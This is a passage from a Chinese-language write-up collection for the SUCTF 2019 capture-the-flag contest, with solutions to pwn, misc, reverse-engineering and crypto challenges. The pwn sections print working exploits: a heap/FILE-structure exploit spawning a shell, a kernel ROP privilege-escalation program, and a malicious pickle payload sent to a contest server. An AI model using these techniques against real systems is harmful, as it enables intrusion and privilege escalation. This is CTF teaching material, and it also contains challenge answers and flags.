35.     io.sendlineafter(': ', str(idx))

```

```

#=====
=====
35. libc_leak_off = 0x1b2761
36. heap_leak_off = 0x120
37. free_hook_off = libc.symbols['__free_hook']
38. malloc_hook_off = libc.symbols['__malloc_hook']
39. system_off = libc.symbols['system']
40. stdin_io_off = libc.symbols['_IO_2_1_stdin_']
41. io_list_all_off = libc.symbols['_IO_list_all']
42. one_shoot_off = [0x3ac5c, 0x3ac5e, 0x3ac62, 0x3ac69,
0x5fbc5, 0x5fbc6]
43.
#=====
=====
44. purchase(0x14, '0'*0x10) #0
45. comment(0, 'a'*0x8c, 0)
46. purchase(0x14, '1'*0x10) #1
47. comment(1, 'b'*0x8c, 0)
48. purchase(0x14, '2'*0x10) #2
49. throwit(0)
50. throwit(1)
51. purchase(0x14, '0'*0x10) #0
52. comment(0, 'a', 0)
53. throwit(0)
54. io.recvuntil('Comment ')
55. libc_base = u32(io.recv(4)) - libc_leak_off
56. system = libc_base + system_off
57. free_hook = libc_base + free_hook_off
58. malloc_hook = libc_base + malloc_hook_off
59. stdin_io = libc_base + stdin_io_off
60. heap_base = u32(io.recv(4)) - heap_leak_off
61. io_list_all = libc_base + io_list_all_off
62. one_shoot = libc_base + one_shoot_off[5]
63. purchase(0x14, '0'*0x10) #0

```



```
64. comment(0, 'a'*0x8c, 0)
65. purchase(0x14, '1'*0x10) #1
66. comment(1, 'b'*0x8c, 0)
67. purchase(0x14, '3'*0x10) #3
68. purchase(0x14, '4'*0x10) #4
69. throwit(2)
70. throwit(3)
71. purchase(0x34, 'aaaa') #2
72. payload = 'b'*0xf8
73. payload += p32(0x100)
74. purchase(0x104, payload) #3
75. purchase(0xf4, 'cccc') #5
76. payload = '!'*0x28
77. payload += p32(0) + p32(0x41)
78. purchase(0x34, payload) #6
79. throwit(2)
80. throwit(3)
81. payload = 'a'*0x34
82. purchase(0x34, payload) #2
83. purchase(0x60, 'bbbb') #3
84. payload = 'd'*8
85. payload += p32(0) + p32(0x39)
86. purchase(0x34, payload) #7
87. purchase(0x3c, '.'*0x30) #8
88. throwit(7) #get victim
89. throwit(3)
90. throwit(5) #merge
91. payload = 'a'*0x60
92. payload += p32(0) + p32(0x19)
93. payload += p32(0)*4
94. payload += p32(0) + p32(0x39)
95. payload += p32(heap_base + 0x308)
96. purchase(0x90, payload) #3
97. throwit(4)
```

```
98. fake_jump = heap_base + 0x318
99. fake_stdout = 'sh\x00\x00' + p32(0x31) +
p32(0xdeadbeef)*2
100. fake_stdout += p32(0) + p32(1) + p32(0xc0)*2
101. fake_stdout += p32(0) + p32(0)*3
102. fake_stdout += p32(0) + p32(0) + p32(1) + p32(0)
103. fake_stdout += p32(0xffffffff) + p32(0) +
p32(libc_base+0x1b3870) + p32(0xffffffff)
104. fake_stdout += p32(0xffffffff) + p32(0) +
p32(libc_base + 0x1b24e0) + p32(0)
105. fake_stdout += p32(0)*2 + p32(0) + p32(0)
106. fake_stdout += p32(0)*4
107. fake_stdout += p32(0)*4
108. fake_stdout += p32(0) + p32(fake_jump)
109. payload = p32(0)*2
110. payload += p32(0) + p32(0x39)
111. payload += '\x00\x00\x00'
112. purchase(0x34, payload) #5
113. payload = p32(0) + p32(0x169)
114. payload += p32(libc_base + 0x1b27b0) +
p32(io_list_all - 0x8)
115. purchase(0x34, payload) #7
116. payload = p32(0)*2 + p32(system)*4*2 +
p32(system)*2
117. payload += fake_stdout
118. #dbg()
119. menu(1)
120. io.sendlineafter('length: ', str(352))
121. io.sendlineafter('Name: ', payload)
122. io.sendlineafter('Price: ', str(1))
123. menu(2)
124. io.sendline('5')
125. success('libc base: '+hex(libc_base))
126. success('heap base: '+hex(heap_base))
```

127. sh()

## sudrv

溢出 改栈 rop

```
1. #include <stdio.h>
2. #include <unistd.h>
3. #include <stdlib.h>
4. #include <fcntl.h>
5. #include <string.h>
6. #include <sys/types.h>
7. #include <sys/wait.h>
8. #include <sys/ioctl.h>
9. #include <pthread.h>
10. #define CRED_SIZE 168
11. //0xFFFFFFFF819ED1C0 copy_user_generic_unrolled proc
near
12. //0xffffffff810c8d2f: mov rdi, rcx; sub rdi, rdx;
mov rax, rdi; ret;
13. //0xffffffff81174b83: mov rcx, rax; pop r12; pop
r13; mov rax, rcx; ret;
14. //0xFFFFFFFF81081790: prepare_kernel_cred
15. //0xFFFFFFFF81081410: commit_creds
16. //0xffffffff81001388: pop rdi; ret;
17. //0xffffffff81043ec8: pushfq; ret;
18. //0xffffffff81044f17: pop rdx; ret;
19. //0xffffffff8104e5b1: mov cr4, rdi; push rdx; popfq;
ret;
20. //0xffffffff81a00d5a: swapgs; popfq; ret;
21. //0xffffffff81021762: iretq; ret;
22. //0xffffffff81044f17: pop rdx; ret;
23. #define KERNCALL __attribute__((regparm(3)))
24. void* (*prepare_kernel_cred)(void*) KERNCALL ;
25. void (*commit_creds)(void*) KERNCALL ;
26. void su(){
```

```

27.     commit_creds(prepare_kernel_cred(0));
28. }
29. void get_shell(void){
30.     puts("shell:");
31.     execve("/bin/sh",0,0);
32. }
33. void su_print(int fd)
34. {
35.     ioctl(fd,0xDEADBEEF);
36. }
37. void su_malloc(int fd,int size)
38. {
39.     ioctl(fd,0x73311337,size);
40. }
41. void su_free(int fd)
42. {
43.     ioctl(fd,0x13377331);
44. }
45. unsigned long user_cs, user_ss, user_eflags,user_sp
;
46. void save_stats() {
47.     asm(
48.         "movq %%cs, %0\n"
49.         "movq %%ss, %1\n"
50.         "movq %%rsp, %3\n"
51.         "pushfq\n"
52.         "popq %2\n"
53.         : "=r"(user_cs), "=r"(user_ss), "=r"
(user_eflags), "=r"(user_sp)
54.         :
55.         : "memory"
56.     );
57. }
58. void get_shell_again(){

```

```

59. puts("SIGSEGV found");
60. puts("get shell again");
61. system("id");
62. char *shell = "/bin/sh";
63. char *args[] = {shell, NULL};
64. execve(shell, args, NULL);
65. }
66. int main()
67. {
68.     setbuf(stdin, 0);
69.     setbuf(stdout, 0);
70.     setbuf(stderr, 0);
71.     signal(SIGSEGV, get_shell_again);
72.     int fd1 = open("/dev/meizijiutql", O_RDWR);
73.     char format[150] =
74. "0x%llx0x%llx0x%llx0x%llx0x%llx0x%lx0x%llx0x%llx0x%llx0x%
75. %llx0x%llx0x%llx0x%llx0x%llx0x%llx0x%llx0x%llx0x%llx0x%l
76. lx0x%llx0x%llx0x%llx\n";
77.     char buf1[100] = "aaaaaaaa";
78.     char buf2[100] = "bbbbbbbbb";
79.     char buf4[100] = "ccccccccc";
80.     unsigned long long module_base ;
81.     unsigned long long poprdis;
82.     unsigned long long poprdx;
83.     unsigned long long movcr4;
84.     unsigned long long vmbase ;
85.     unsigned long long iretq ;
86.     unsigned long long swapgs ;
87.     unsigned long long movrcxrax;
88.     unsigned long long movrdircx;
89.     unsigned long long rop[0x30];
90.     su_malloc(fd1, CRED_SIZE);
91.     write(fd1, format, 150);

```

```

90.     su_print(fdl);
91.     //su_print(fdl);
92.     su_free(fdl);
93.     char addr[16];
94.     write(1,"input stack addr above(ffffxxxxxxed8-
0x88)      \n",60);
95.     scanf("%llx",(long long *)addr);
96.     write(1,"input vmlinux addr
above(ffffffff8889a268)      \n",60);
97.     scanf("%llx",&vmbase);
98.     vmbase = (vmbase -19505768) -
0xFFFFFFFFF8100000; // (0xfffffffffa4c9a268-
0xfffffffffa3a00000));
99.     printf("%llx",vmbase);
100.    prepare_kernel_cred = vmbase +
0xFFFFFFFFF81081790;
101.    commit_creds = vmbase + 0xFFFFFFFFF81081410;
102.    swapgs = vmbase + 0xfffffffff81a00d5a;
103.    iretq = vmbase + 0xfffffffff81021762;
104.    poprdi = vmbase + 0xfffffffff81001388;
105.    poprdx = vmbase + 0xfffffffff81044f17;
106.    movcr4 = vmbase +0xfffffffff8104e5b1;
107.    movrcxrax = vmbase + 0xfffffffff81174b83;
108.    unsigned long long pushrax= vmbase
+0xfffffffff812599a8;
109.    unsigned long long poprbx = vmbase
+0xfffffffff81000926;
110.    unsigned long long callrbx =
vmbase+0xfffffffff81a001ea;
111.    unsigned long long poprbp = vmbase +
0xfffffffff810004ee;
112.    printf("prepare_kernel_cred:0x%llx
\n",prepare_kernel_cred);
113.    printf("commit_creds:0x%llx  \n",commit_creds);

```

```

114.     printf("swapgs:0x%llx \n",swapgs);
115.     printf("iretq:0x%llx \n",iretq);
116.     printf("call rbx:0x%llx \n",callrbx);
117.     puts("ready");
118.     while(getchar()!='y') ;
119.     save_stats();
120. //0xfffffffff810004ee: pop rbp; ret;
121. //0xfffffffff810c8d2f: mov rdi, rcx; sub rdi, rdx;
mov rax, rdi; ret;
122. //0xfffffffff81174b83: mov rcx, rax; pop r12; pop
r13; mov rax, rcx; ret;
123. //0xfffffffff829654a7: mov rdi, rbx; call rax;
124. //0xfffffffff8107f537: push rax; pop rbx; ret;
125. //0xfffffffff8101ac0c: pop rax; ret;
126. //0xfffffffff8296b882: mov rdi, rsi; ret;
127. //0xfffffffff81a001ea: mov rdi, r12; call rbx;
128. //0xfffffffff812599a8: push rax; pop r12; pop r13;
pop r14; pop r15; ret;
129. //0xfffffffff81000926: pop rbx; ret;
130.     rop[0]=poprdi;
131.     rop[1]=0;
132.     rop[2]=prepare_kernel_cred;
133.     rop[3]=pushrax;
134.     rop[4]=0;
135.     rop[5]=0;
136.     rop[6]=0;
137.     rop[7]=poprbx;
138.     rop[8]=poprdx;
139.     rop[9]=callrbx;
140.     rop[10]=commit_creds;
141.     rop[11]=swapgs;
142.     rop[12]=0x246;
143.     rop[13]=poprbp;
144.     rop[14]=(unsigned long long)rop+0x100;

```

```
145.     rop[15]=iretq;
146.     rop[16]= (size_t)&get_shell;
147.     rop[17] = user_cs;
148.     rop[18] = user_eflags;
149.     rop[19] = user_sp;
150.     rop[20] = user_ss;
151.     rop[21] = 0;
152.     char mem[0xc0+0x10];
153.     memset(mem,0x41,0xd0);
154.     memcpy(mem+0xc0,addr,0x10);
155.     write(1,mem,0xd0);
156.     su_malloc(fd1,CRED_SIZE);
157.     write(fd1,mem,0xd0);
158.     su_malloc(fd1,CRED_SIZE);
159.     write(fd1,buf2,100);
160.     su_malloc(fd1,CRED_SIZE);
161.     write(fd1,(char*)rop,180);
162.     su_malloc(fd1,CRED_SIZE);
163.     write(fd1,(char*)rop,180);
164.     /*
165.         close(fd1);
166.         int pid = fork();
167.         if(pid ==0)
168.         {
169.             //set(fd2,buf4,100);
170.             sleep(2);
171.             system("/bin/sh");
172.             //su_malloc(fd1,CRED_SIZE);
173.             //set(fd1,buf2,CRED_SIZE);
174.         }
175.         else
176.         {
177.             char buf3[2*CRED_SIZE];
178.             memset(buf3,0,2*CRED_SIZE);
```



```
179.     set(fd2,buf3,2*CRED_SIZE);
180.     //su_malloc(fd1,CRED_SIZE);
181.     //set(fd1,buf2,CRED_SIZE);
182. }
183. */
184. // close(fd2);
185. }
```

## Misc

### 签到题

把 base64 转成图片就行了

有些师傅说字母看不清...其实签到题来源于最近一个比较火的梗...看不清我觉得没多大影响...大不了一个个试试看嘛（手动狗头

### game

纯粹是脑洞题，从 `find my secret` 去找前端js里的 `secret` 字符串，找到之后得到一张图片，lsb里有加密字符串，用的3des加密，密钥为完成魔方后得到的假flag，本以为会被秒，脑洞实在是太无聊了,(逃

### guess\_game

pickle 本质是个栈语言，不同于 json 亦或是 php 的 serialize. 实际上是运行 pickle 得到的结果是被序列化的对象. 这里虽然条件受限，只能加载指定模块，但是可以看到 `__init.py__` 中 `game = Game()`，所以只要构造出 pickle 代码获得 `guess_game.game`，然后修改 `game` 的 `win_count` 和 `round_count` 即可.

注意如果是 `from guess_game import game`，然后修改再 `dumps` 这个 `game` 的话，是在运行时重新新建一个 `Game` 对象，而不是从 `guess_game` 这个 module 里面获取. 所以这里必须手写/更改一下 `dumps` 生成的 pickle，然后注意

```
1. ticket = restricted_loads(ticket)
2. assert type(ticket) == Ticket
```

所以还需要栈顶为一个 `Ticket`，这比较方便，可以 `dumps` 一个 `Ticket` 拼到之前手写的后面就可以了.

dockerfile: [https://github.com/rmb122/suctf2019\\_guess\\_game/](https://github.com/rmb122/suctf2019_guess_game/)

ref: <https://www.leavesongs.com/PENETRATION/code-breaking-2018-python-sandbox.html>

exp:

```
1. import pickle
2. import socket
3. import struct
4. s = socket.socket()
5. s.connect(('47.111.59.243', 8051))
6. exp = b'''cguess_game
7. game
8. }S"win_count"
9. I10
10. sS"round_count"
11. I9
12.
sbcguess_game.Ticket\nTicket\nq\x00)\x81q\x01}q\x02X\x06
\x00\x00\x00numberq\x03K\xffsb.'''
13. s.send(struct.pack('>I', len(exp)))
14. s.send(exp)
15. print(s.recv(1024))
16. print(s.recv(1024))
17. print(s.recv(1024))
18. print(s.recv(1024))
```

## homerouter

题目的附件给出的是一个固件文件，提取文件系统后我们可以发现是OpenWrt。结合题目名称和`/etc/config/easycwmp`文件，查阅一下资料后我们可以发现这道题的内容和|069有关，相信家里用电信光猫的同学应该不陌生，这个东西具体是用来干什么的这里就不做赘述了。当明白了这道理的考察点之后后续工作就不算困难了，一种做法是找一个OpenWrt的路由器模拟出环境，将固件中存在的和easycwmp相关的配置文件添加到模拟环境中即可，只是这样需要硬件设备支持。实际上我们打开easycwmp项目可以发现完全可以在x86环境下编译运行，官方给出了也较为详细的编译指南。编译成功后同样将固件中的配置文件添加进来，使用前台log模式即可发现，ACS服务器下发了一个修改系统root密码的指令，而密码就是该题的flag：`Hello_tr_069_Protocol`。

## protocol

打开pcapng文件后我们可以发现这是一段USB流量，观察一些流量我们可以发现出现了opendeck字符串和一个假的flag，结合开源的提示我们可以找到两个项目opendeck-linux和opendeck-gui，注意有一个同名的项目不要搞错了。大致观察下这两个项目的代码，我们可以发现题目给出的流量正是gui项目所读取的流量。

kernel运行在一个连接触摸屏的Linux设备上，而gui项目一方面解析经过USB发来的信息，将一些png图片显示触摸屏上，一方面响应触摸屏上的输入信息，并将输入信息发到USB对端。在源码中我们可以发现该程序的运行原理是：对端一次性发送15张png图片，每一张图片是一个字符，按照数据部分第3个字节表示的数字显示在屏幕上；接下来读取触摸屏上输出的点击信息，如果点击正确那么对端发来一张空图片覆盖掉点击位置（可以理解为清空该位置图像），等到该组中有10个字符消失后开始下一组。整个流量中包含了5组上述过程。

知道程序的大致运行原理了后该题就不难了，首先将流量包中的png图片全部提取，接下来用tshark将leftover data提取出来，解析位置信息就可以得到每次点击的字符。将所有的字符连起来即可得到

flagsuc`tf{My_usb_pr0tocol_s0_w3ak}`。

## Rev

### hardCpp

比较简单，签到的...

exp如下

```
1. for (int i = 1; i < 21; i++) {
2.     unsigned char c;
3.     c = input[i] ^ (char)times;
4.     c = c_add(c)(c_mod(input[i - 1 + times])(7));
5.     //c += flag[i - 1] % 7;
6.     c = c_xor(c)(c_add(c_mul(c_xor(input[i - 1 +
times])(0x12))(3))(2));
7.     //c ^= (3 * (flag[i - 1] ^ 0x12) + 2);
8.     if (enc[i - 1] != c) {
9.         exit(0);
10.    }
11. }
```

里面有个时间反调，要求必须时间差必须为0

```

1. if(times > 0){
2.     puts("Let the silent second hand take the place
of my doubt...");
3.     exit(0);
4. }

```

时间差会被加在数组下标里，然而因为预期是0，所以没什么影响

## rev

程序用IDA打开很复杂

一开始用`boost::tokenizer`切割字符串

输入形如`aaaa-bbbbb-ccccc`，中间的特殊符号会被认为是分隔符，然后获得这三个`std::string`，分别check

第一个，`res[0]`，要求长度是10，然后经过

```
boost::trim_left_copy_if(res[0], boost::is_any_of("l"))
```

这句话是把这个字符串左边的`l`全部去掉

进入一个循环，要求每个字符异或0xab后和数组相同，长度要求是5，也就是说一开始被去掉了五个`l`

于是输入的第一段是`11111suctf`

第二个，`res[1]`,

```

((res[1].length() == 4) &&
(boost::all(res[1],boost::is_from_range('a','g')
|| boost::is_from_range('A','G'))))

```

长度是4，每个字符都是[A-Ga-g]

经过`boost::to_upper`要求和原string相同，这表明输入的4个字符都是大写字母

限制范围在[A-G]了

要求4个字符的数值递增，步长为2，

那么只能ACEG

也就是第二个的输入

第三个，`res[2]`

通过`boost::all(res[2],boost::is_digit())`判断要求都是数字，小于10位，转成int，记作sum

```

要求(sum % 2 == 0) && (func(sum) == -1412590079) &&
(func2(sum) == 305392417)

```

如果不加第一个%2==0的条件，会有三个结果31415925 31415926 31415927

这样下来只有一个结果31415926

int范围内只有这一个符合要求

也就是第三个输入

那么输入就形如11111suctf-ACEG-31415926

输出为 suctf{ACEG31415926}

You win!

## Akira Homework

程序是一个Windows下的程序，开始的时候会要求输入密码。

1. [+]=====
2. [+] Akira's Homework 2nd
3. [+]=====
4. [=] My passwords is:

分析可以直接使用ida对程序逻辑进行分析。从程序的某些迹象中可以发现，大部分的字符串似乎都被加密了。并且当用调试器连接的时候，程序会直接强行关闭，程序运行时间长也会自行关闭。解决方案可以是Patch程序的反调试逻辑等。这边提出的解决方案是使用dmp的方式结合着分析程序，这样能够提高解答的速度。通过dmp的方式，能够找到程序的第一个输入点：

1. for( i=0; i < 0x6c; ++i)
2. Str[i] ^= byte\_7ff766972AE0[0]
3. puts(Str)
4. sub\_7FF76959C80("%18s", &v4, 19i64);

直接逆向这一段，能够找到程序当前使用的密钥为：

1. Akira\_aut0\_ch3ss\_!

输入这段逻辑，此时会发现程序提示

1. Have no sign!

返回程序检查，会发现有一个check逻辑int sub\_7FF682FC93B0()，里面检查了一个叫做Alternate Data Streams的东西，并且将这个数据做了一次md5签名检查，通过查询可以查到签名内容为

1. Overwatch

给exe加上Alertable Data Streaming之后，就能够通过检测。在刚刚的提示框后，会要求输入第二次答案，这个答案才是flag：

1. Now check the sign:

dmp下程序后，会发现还有一个dll也藏在进程中。将DLL取出逆向，观测可知，其尝试打开了一个ShareMemory，并且读出了里面的内容，传入了函数sub\_180011136。所以这里猜测，在这个程序运行的过程中，在主线程中必定也存在一个对称操作。于是检查原先的exe，找到调用MapViewOfFile的周围

```
1. .text:000000014000771F          mov
   [rsp+0B8h+Src], 7Ch
2. .text:0000000140007727          mov
   [rsp+0B8h+var_2F], 45h
3. .text:000000014000772F          mov
   [rsp+0B8h+var_2E], 38h
4. ...
```

如果使用了工具分析这个dmp下来的dll，会发现其中有一个类似AES算法的东西，也就是这个sub\_180011136函数的。最终可以解得flag为：

```
1. flag{Ak1rAWin!}
```

吐槽：题目没有设计好，导致DLL的解密逻辑好像很容易被找出来，结果很多师傅似乎拿到第一个key之后直接就解开了dll。。。本意是想让大家了解一下Windows下的ADS作为签名的用途的。果然还是出题人太菜了

## SignIn

使用了gmp大数库实现了一个简单的rsa,题目中只有N e,由于N不是很大,可以直接分解,得到p q,然后生成d,即可解出flag

## babyunic

先放上源码

```
1. #include <unicorn/unicorn.h>
2. #include <string.h>
3. #include <math.h>
4. #include <sys/ptrace.h>
5. #include <stdio.h>
6. #define ADDRESS 0x400000
7. #define STACK 0x10000000
8. #define SZ 0x200000
9. int flagenc[50] =
10. {
11.
```

```
0x94ffffff,0x38ffffff,0x26010000,0x28ffffff,0x10fcffff,0
x94020000,0x9efcffff,0xea060000,0xdc000000,0x6000000,0xc
ffffff,0xf6fdffff,0x82faffff,0xd0fcffff,0x82010000,0xde0
30000,0x4e010000,0xb2020000,0xd8f8ffff,0x74010000,0xa6fa
ffff,0xd4f9ffff,0xc2010000,0x7cf9ffff,0x5a030000,0x46010
000,0x3cffffff,0x14faffff,0xce010000,0xdc070000,0x48fdff
ff,0x98000000,0x5e080000,0xb0fdffff,0xbcffffff,0x6e03000
0,0x4effffff,0x36f8ffff,0xc0050000,0xae060000,0x94060000
,0x22000000
```

```
12. };
```

```
13. int calc(char * input, char * output, char * filename)
```

```
14. {
```

```
15.     uc_engine *uc;
```

```
16.     FILE * file = fopen(filename, "rb");
```

```
17.     unsigned char * opc = malloc(0x7100);
```

```
18.     fread(opc, 1, 0x7100, file);
```

```
19.     int sp = STACK + SZ - 0x40;
```

```
20.     int fp = STACK + SZ - 0x40;
```

```
21.     int a0 = STACK + SZ - 0x500;
```

```
22.     int a1 = STACK + SZ - 0x600;
```

```
23.     uc_open(UC_ARCH_MIPS, UC_MODE_MIPS32 +
UC_MODE_BIG_ENDIAN, &uc);
```

```
24.     uc_mem_map(uc, ADDRESS, SZ, UC_PROT_ALL);
```

```
25.     uc_mem_map(uc, STACK, SZ, UC_PROT_ALL);
```

```
26.     uc_mem_write(uc, a0, input, strlen(input));
```

```
27.     uc_mem_write(uc, ADDRESS, opc, 0x7100);
```

```
28.     uc_reg_write(uc, UC_MIPS_REG_SP, &sp);
```

```
29.     uc_reg_write(uc, UC_MIPS_REG_FP, &fp);
```

```
30.     uc_reg_write(uc, UC_MIPS_REG_A1, &a1);
```

```
31.     uc_reg_write(uc, UC_MIPS_REG_A0, &a0);
```

```
32.     uc_emu_start(uc, ADDRESS, ADDRESS + 0x7070 - 4,
0, 0);
```

```
33.     uc_mem_read(uc, STACK + SZ - 0x600, output, 200);
```

```
34.     uc_close(uc);
```

```

35.     fclose(file);
36. }
37. void __attribute__((constructor)) check()
38. {
39.     if(ptrace(0,0,0,0)==-1)
40.         exit(0);
41. }
42. int main(int argc,char *argv[])
43. {
44.     if(argc == 2)
45.     {
46.         puts("SUCTF 2019");
47.         printf("input your flag:");
48.         char * output = malloc(0x200);
49.         char * input = malloc(0x200);
50.         scanf("%50s",input);
51.         calc(input,output,argv[1]);
52.         if(!memcmp(output,flagenc,168))
53.         {
54.             puts("congratuation!");
55.         }
56.         else
57.         {
58.             puts("fail!");
59.         }
60.     }
61.     else
62.     {
63.         puts("no input files");
64.     }
65. }

```

出这个题的原因是最近在看各种奇奇怪怪的fuzz,8月初平安银河实验室推了一个基于libfuzzer和unicorn模拟执行的fuzzing工具,是利用了unicorn来进行模拟执行,然后利用libfuzzer提供的\_\_libfuzzer\_extra\_counters接收覆盖率,进行数据的



变异等操作

出题的时候使用的是mips-linux-gnu-gcc在ubuntu1604下编译出的一个大端序的mips32,这里编写了一个类似`void func(char * in, char * out)`的函数,因为unicorn对于原生函数的调用的支持不是很好,所以这个函数里面没有用到库函数以及系统调用

函数里设置了一个位运算,以及一个42元方程,函数运行后会返回方程的值,这里的值也是大端序的,然后进行比较.题目无混淆无花,模拟执行的算法也是很基础的,事先也给了依赖库,目的是想让各位师傅们了解一下这个神奇的模拟引擎(希望我不是最后一个知道的),在出题的过程中也发现了一个问题就是z3对于这个42元方程的速度异常的慢.

这个场景下的unicorn感觉可以用在iot的fuzz上,不过要注意的是这东西毕竟是模拟执行,所以效率不是很高

解题思路就是学一波unicorn,然后根据uc\_open函数参数的值找到要模拟字节码的架构,然后使用对应的反编译工具对func文件进行逆向,dump出大端序的res,用求解器算出flag

## Crypto

### DSA

#### 出题思路

该题的漏洞点在于DSA数字签名方案中的随机数k的唯一性,随机数k在DSA数字签名中起到了类似于时间戳的作用。一旦两次签名中的k相同,就会造成私钥泄露。因此本题在给出的若干条消息签名中,故意使用重复的随机数k。

#### 解题思路

##### DSA数字签名

##### 签名方案

1. 选定公共参数 $p, q, g$ , 其中 $g^q \bmod p = 1$ , 即 $g$ 的阶为 $p$ ;
2. 签名方随机生成私钥 $x$ , 满足 $0 < x < q$ , 计算并公开公钥 $y = g^x \bmod p$ ;
3. 针对消息 $m$ , 起算其哈希值 $h = H(m)$ , 并生成随机数 $k$ , 满足 $0 < k < q$ ;
4. 计算 $r = (g^k \bmod p) \bmod q$ ; (相当于时间戳, 防止重放攻击)
5. 计算 $s = k^{-1}(H(m) + xr) \bmod q$ ;
6. 以 $\langle r, s \rangle$ 为数字签名。

## 验签方案

接收方在已知公共参数 $p, q, g$ 和接收到消息 $m$ 与签名 $\langle r, s \rangle$ 的基础上，可以通过验证以下等式是否成立来验证签名是否有效。

其中 $s^{-1}$ 指 $s$ 在模 $q$ 时的乘法逆元。

## 利用方法

一旦发现两条消息 $m_1, m_2$ 的数字签名 $\langle r_1, s_1 \rangle$ 和 $\langle r_2, s_2 \rangle$ 有 $r_1 = r_2 = r$ ，则说明它们在签名过程中使用了相同的随机数 $k$ 。根据签名方案有：

$$ks_1 = H(m_1) + xr \pmod{q}$$

$$ks_2 = H(m_2) + xr \pmod{q}$$

因此有

$$xr(s_2 - s_1) \equiv H(m_2)s_1 - H(m_1)s_2 \pmod{q}$$

所以

$$x = (r(s_2 - s_1))^{-1} (H(m_2)s_1 - H(m_1)s_2) \pmod{q}$$

求得私钥 $x$ 后，自然可以根据DSA数字签名方案对任意消息进行签名。

**exp**

略。

## Prime

### 出题思路

对任意两个不同素数 $p, q$ 和整数 $n = pq$ ，对任意整数 $m, 0 < m < p$ 且 $m < q$ ，若 $c = m^n \pmod{n}$ ，则

$$c^{q'} \pmod{q} = m$$

其中 $q'$ 满足 $q' \cdot p \pmod{q-1} = 1$ 。

证明： $c^{q'} \pmod{q} = m^{nq'} \pmod{q} = m^{qpq'} \pmod{q} = m^{((q-1)+1)}$

$$(k(q-1)+1) \bmod q = m^{k'(q-1)+1} \bmod q$$

根据费马小定理： $m^{q-1} \bmod q = 1$ ，所以 $m^{k'(q-1)+1} \bmod q = m$ 。

同理 $c^{q'} \bmod p = m$ 。

本题在该结论的基础上做了进一步扩展。

1. 将素数数量由2个扩大到4个；
2. 将 $m$ 的范围扩大到 $0 < m < n$

## 解题思路

1. 对给出的 $n_0, n_1, n_2, n_3$ 做最大公因子分析，可分别得出他们的四个素因子；
2. 一般的，对 $n = p_1 p_2 p_3 p_4$ 和 $c = m^n \bmod n$ ，有

$$c^{\{p_i\}'} \equiv m \pmod{p_i}$$

其中 $\{p_i\}'$ 满足 $\{p_i\}' \cdot \frac{n}{p_i} \bmod (p_i-1) = 1$ ，即 $\{p_i\}'$ 是 $\frac{n}{p_i}$ 在模 $(p_i-1)$ 的乘法逆元。

3. 利用中国剩余定理求解 $m$ 。

## exp

```

1. import numpy as np
2. import gmpy2 as gm
3. def crack(N, ns, cs):
4.     M = np.ones((N, N))
5.     M = M.tolist()
6.     for i in range(N):
7.         M[i][i] = 1
8.         for j in range(N):
9.             if i != j:
10.                 M[i][j] = gm.gcd(ns[i], ns[j])
11.                 M[i][i] *= M[i][j]
12.                 M[i][i] = ns[i] / M[i][i]
13.     nsns = [1] * 4
14.     for i in range(N):
15.         for j in range(N):
16.             nsns[i] *= M[i][j]
17.     index = np.ones((N, N))

```

```

18.     index = index.tolist()
19.     for i in range(N):
20.         for j in range(N):
21.             index[i][j] = 1
22.             for k in range(N):
23.                 if k != j:
24.                     index[i][j] *= gm.invert(M[i]
[k], M[i][j] - 1)
25.     cc = np.ones((N, N))
26.     cc = cc.tolist()
27.     for i in range(N):
28.         for j in range(N):
29.             cc[i][j] = pow(cs[i], index[i][j], M[i]
[j])
30.     mms = [0] * N
31.     for i in range(N):
32.         for j in range(N):
33.             fac = cc[i][j]
34.             for k in range(N):
35.                 if k != j:
36.                     fac *= (M[i][k] * gm.invert(M[i]
[k], M[i][j]))
37.             mms[i] += fac % ns[i]
38.             mms[i] = mms[i] % ns[i]
39.     return mms

```

## MT

### 出题思路

随机数发生器MT19937在从状态提取32bits随机数时进行四步平移和异或运算，但该四步运算均为可逆运算，从而导致可从32bits随机数还原状态。

```

1. ...
2. def extract_number(self):
3.     if self.index >= 624:
4.         self.twist()

```

```

5.         y = self.mt[self.index]
6.         # Right shift by 11 bits
7.         y = y ^ y >> 11
8.         # Shift y left by 7 and take the bitwise and
of 2636928640d
9.         y = y ^ y << 7 & 2636928640
10.        # Shift y left by 15 and take the bitwise
and of y and 4022730752
11.        y = y ^ y << 15 & 4022730752
12.        # Right shift by 18 bits
13.        y = y ^ y >> 18
14.        self.index = self.index + 1
15.        return _int32(y)
16.    ...

```

本题将这四步运算的参数略作调整，考察选手能否对其进行逆运算。

## 解题思路

分别实现左移和右移异或的逆运算函数，然后调用两个函数对密文解密，得到flag。代码如下。

```

1. from Crypto.Util import number
2. transformed_flag = '641460a9e3953b1aaa21f3a2'
3. c = transformed_flag.decode('hex')
4. def decrypt_left(cipher, blocksize, mask):
5.     plain = cipher
6.     t = cipher
7.     for i in range(32 / blocksize):
8.         tt = (t << blocksize) & mask
9.         plain = plain ^ tt
10.        t = tt
11.    return plain
12. def decrypt_right(cipher, blocksize, mask):
13.     plain = cipher
14.     t = cipher
15.     for i in range(32 / blocksize):
16.         tt = (t >> blocksize) & mask

```

```

17.     plain = plain ^ tt
18.     t = tt
19.     return plain
20. def invert(block):
21.     block = decrypt_right(block, 19, 0xffffffff)
22.     block = decrypt_left(block, 17, 2245263360)
23.     block = decrypt_left(block, 9, 2029229568)
24.     block = decrypt_right(block, 13, 0xffffffff)
25.     return block
26. def transform(message):
27.     assert len(message) % 4 == 0
28.     new_message = ''
29.     for i in range(len(message) / 4):
30.         block = message[i * 4 : i * 4 + 4]
31.         block = number.bytes_to_long(block)
32.         block = invert(block)
33.         block = number.long_to_bytes(block)
34.         new_message += block
35.     return new_message
36. flag = transform(c)
37. print flag.encode('hex')

```

## RSA

### 出题思路

该题考察对RSA的parity oracle或LSB oracle漏洞的利用。网上关于parity oracle漏洞利用的writeup和脚本很多，大多是这样的：

```

1. def crack(n, e, c):
2.     max = n
3.     min = 0
4.     d = pow(2, e, n)
5.     cc = c
6.     while True:
7.         cc = (cc * d) % n
8.         parity = getParity(cc) #parity oracle返回明文奇

```

### 偶性

```
9.     if parity == 1:
10.         min = (max + min) / 2
11.     else:
12.         max = (max + min) / 2
13.         if max == min:
14.             return min
```

原理很简单，但一般情况下最终还原出的明文和真实明文会存在一定偏差，主要原因是max和min是整数类型，其表示的上界和下界不够精确；提高表示精度可以一定程度解决这个问题，但治标不治本，理论上还是存在误差导致还原出的明文不准确。为了增加这种误差存在的概率，原题设置为2048位的 $n$ ，并且要破解10个 $m$ ，后考虑到与服务器交互次数过多，破解时间过长而将参数降低到1024和3。

### 解题思路

